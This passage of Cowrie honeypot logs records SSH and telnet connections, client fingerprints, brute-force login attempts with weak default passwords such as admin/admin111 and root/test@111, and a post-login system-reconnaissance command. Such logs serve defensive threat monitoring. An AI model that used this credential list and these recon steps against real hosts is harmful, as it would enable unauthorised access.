om"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:59:18.889203Z","src_ip":"74.91.224.229","session":"5b65115b57e7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"test@111","message":"login attempt [root/test@111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:59:19.876758Z","src_ip":"74.91.224.229","session":"5b65115b57e7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:59:21.119239Z","src_ip":"74.91.224.229","session":"5b65115b57e7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":42744,"dst_ip":"159.203.135.109","dst_port":22,"session":"e0efdbef3710","protocol":"ssh","message":"New connection: 159.203.92.129:42744 (159.203.135.109:22) [session: e0efdbef3710]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:59:28.875128Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:59:28.890974Z","src_ip":"159.203.92.129","session":"e0efdbef3710","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:59:28.894818Z","src_ip":"159.203.92.129","session":"e0efdbef3710","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin111","message":"login attempt [admin/admin111] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:59:28.918331Z","src_ip":"159.203.92.129","session":"e0efdbef3710","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:59:28.972022Z","src_ip":"159.203.92.129","session":"e0efdbef3710","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo|grep name|cut -f2 -d':'|uniq -c ; uname -a","message":"CMD: cat /proc/cpuinfo|grep name|cut -f2 -d':'|uniq -c ; uname -a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:59:28.975944Z","src_ip":"159.203.92.129","session":"e0efdbef3710","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"cut -f2 -d:","message":"Command not found: cut -f2 -d:","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:59:28.980712Z","src_ip":"159.203.92.129","session":"e0efdbef3710","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c29dde80c80bb67ef0ee3a8d1ab64e8dd1e110be2695fd46a882c89470f5a887","size":111,"shasum":"c29dde80c80bb67ef0ee3a8d1ab64e8dd1e110be2695fd46a882c89470f5a887","duplicate":true,"duration":"0.0","message":"Closing TTY Log: var/lib/cowrie/tty/c29dde80c80bb67ef0ee3a8d1ab64e8dd1e110be2695fd46a882c89470f5a887 after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:59:28.995353Z","src_ip":"159.203.92.129","session":"e0efdbef3710","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:59:29.001856Z","src_ip":"159.203.92.129","session":"e0efdbef3710","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00396156311035,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:00:00.983117Z","src_ip":"216.131.72.138","session":"2008f94c934e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"216.131.72.138","src_port":35936,"dst_ip":"159.203.135.109","dst_port":23,"session":"fdbf24767544","protocol":"telnet","message":"New connection: 216.131.72.138:35936 (159.203.135.109:23) [session: fdbf24767544]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:00:01.134465Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":43780,"dst_ip":"159.203.135.109","dst_port":22,"session":"03d6569f5eb4","protocol":"ssh","message":"New connection: 159.203.92.129:43780 (159.203.135.109:22) [session: 03d6569f5eb4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:00:13.398909Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:00:13.439063Z","src_ip":"159.203.92.129","session":"03d6569f5eb4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:00:13.443354Z","src_ip":"159.203.92.129","session":"03d6569f5eb4","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin111111","message":"login attempt [admin/admin111111] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:00:13.514256Z","src_ip":"159.203.92.129","session":"03d6569f5eb4","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:00:13.591677Z","src_ip":"159.203.92.129","session":"03d6569f5eb4","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo|grep name|cut -f2 -d':'|uniq -c ; uname -a","message":"CMD: cat /proc/cpuinfo|grep name|cut -f2 -d':'|uniq -c ; uname -a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:00:13.595874Z","src_ip":"159.203.92.129","session":"03d6569f5eb4","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"cut -f2 -d:","message":"Command not found: cut -f2 -d:","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:00:13.600614Z","src_ip":"159.203.92.129","session":"03d6569f5eb4","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c29dde80c80bb67ef0ee3a8d1ab64e8dd1e110be2695fd46a882c89470f5a887","size":111,"shasum":"c29dde80c80bb67ef0ee3a8d1ab64e8dd1e110be2695fd46a882c89470f5a887","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/c29dde80c80bb67ef0ee3a8d1ab64e8dd1e110be2695fd46a882c89470f5a887 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:00:13.655026Z","src_ip":"159.203.92.129","session":"03d6569f5eb4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.3","message":"Connection lost after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:00:13.660435Z","src_ip":"159.203.92.129","session":"03d6569f5eb4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"74.91.224.229","src_port":40434,"dst_ip":"10.17.0.5","dst_port":22,"session":"c877a7e9a964","protocol":"ssh","message":"New connection: 74.91.224.229:40434 (10.17.0.5:22) [session: c877a7e9a964]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:00:17.806855Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:00:17.811632Z","src_ip":"74.91.224.229","session":"c877a7e9a964","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:00:18.051521Z","src_ip":"74.91.224.229","session":"c877a7e9a964","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jenkinsuser","password":"jenkinsuser","message":"login attempt [jenkinsuser/jenkinsuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:00:19.041308Z","src_ip":"74.91.224.229","session":"c877a7e9a964","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:00:20.290557Z","src_ip":"74.91.224.229","session":"c877a7e9a964","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":59918,"dst_ip":"159.203.135.109","dst_port":22,"session":"408c0c422821","protocol":"ssh","message":"New connection: 159.203.92.129:59918 (159.203.135.109:22) [session: 408c0c422821]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:00:54.974782Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:00:54.979793Z","src_ip":"159.203.92.129","session":"408c0c422821","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:00:54.988999Z","src_ip":"159.203.92.129","session":"408c0c422821","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin12","message":"login attempt [admin/admin12] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:00:55.002062Z","src_ip":"159.203.92.129","session":"408c0c422821","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:00:55.045819Z","src_ip":"159.203.92.129","session":"408c0c422821","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo|grep name|cut -f2 -d':'|uniq -c ; uname -a","message":"CMD: cat /proc/cpuinfo|grep name|cut -f2 -d':'|uniq -c ; uname -a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:00:55.050115Z","src_ip":"159.203.92.129","session":"408c0c422821","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"cut -f2 -d:","message":"Command not found: cut -f2 -d:","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:00:55.054769Z","src_ip":"159.203.92.129","session":"408c0c422821","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c29dde80c80bb67ef0ee3a8d1ab64e8dd1e110be2695fd46a882c89470f5a887","size":111,"shasum":"c29dde80c80bb67ef0ee3a8d1ab64e8dd1e110be2695fd46a882c89470f5a887","duplicate":true,"duration":"0.0","message":"Closing TTY Log: var/lib/cowrie/tty/c29dde80c80bb67ef0ee3a8d1ab64e8dd1e110be2695fd46a882c89470f5a887 after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:00:55.067899Z","src_ip":"159.203.92.129","session":"408c0c422821","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:00:55.075752Z","src_ip":"159.203.92.129","session":"408c0c422821","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"74.91.224.229","src_port":42690,"dst_ip":"10.17.0.5","dst_port":22,"session":"863510464efe","protocol":"ssh","message":"New connection: 74.91.224.229:42690 (10.17.0.5:22) [session: 863510464efe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:01:15.315451Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:01:15.320685Z","src_ip":"74.91.224.229","session":"863510464efe","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:01:15.559416Z","src_ip":"74.91.224.229","session":"863510464efe","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mysql","password":"test","message":"login attempt [mysql/test] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:01:16.548022Z","src_ip":"74.91.224.229","session":"863510464efe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:01:17.792021Z","src_ip":"74.91.224.229","session":"863510464efe","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":55902,"dst_ip":"159.203.135.109","dst_port":22,"session":"328a55d3905c","protocol":"ssh","message":"New connection: 159.203.92.129:55902 (159.203.135.109:22) [session: 328a55d3905c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:01:39.726148Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:01:39.730954Z","src_ip":"159.203.92.129","session":"328a55d3905c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:01:39.735399Z","src_ip":"159.203.92.129","session":"328a55d3905c","protocol":"ssh"}
